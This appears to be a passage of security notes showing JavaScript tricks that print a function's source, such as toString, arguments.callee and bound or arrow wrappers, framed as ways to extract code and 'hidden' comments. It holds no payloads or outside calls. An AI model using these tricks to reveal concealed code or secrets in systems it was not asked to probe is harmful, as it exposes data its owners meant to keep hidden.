```javascript function afunc(){ return 1+1; } console.log(afunc.toString()); //This will print the code of the function console.log(String(afunc)); //This will print the code of the function console.log(this.afunc.toString()); //This will print the code of the function console.log(global.afunc.toString()); //This will print the code of the function ``` In cases where the **function doesn't have any name**, you can still print the **function code** from within: ```javascript (function (){ return arguments.callee.toString(); })() (function (){ return arguments[0]; })("arg0") ``` Some **random** ways to **extract the code** of a function \(even comments\) from another function: ```javascript (function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})() (function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})() (function (){ return String(this)}).bind(()=>{ /* Hidden commment */ })() (u=>(String(u)))(_=>{ /* Hidden commment */ }) (u=>_=>(String(u)))(_=>{ /* Hidden commment */ })() ```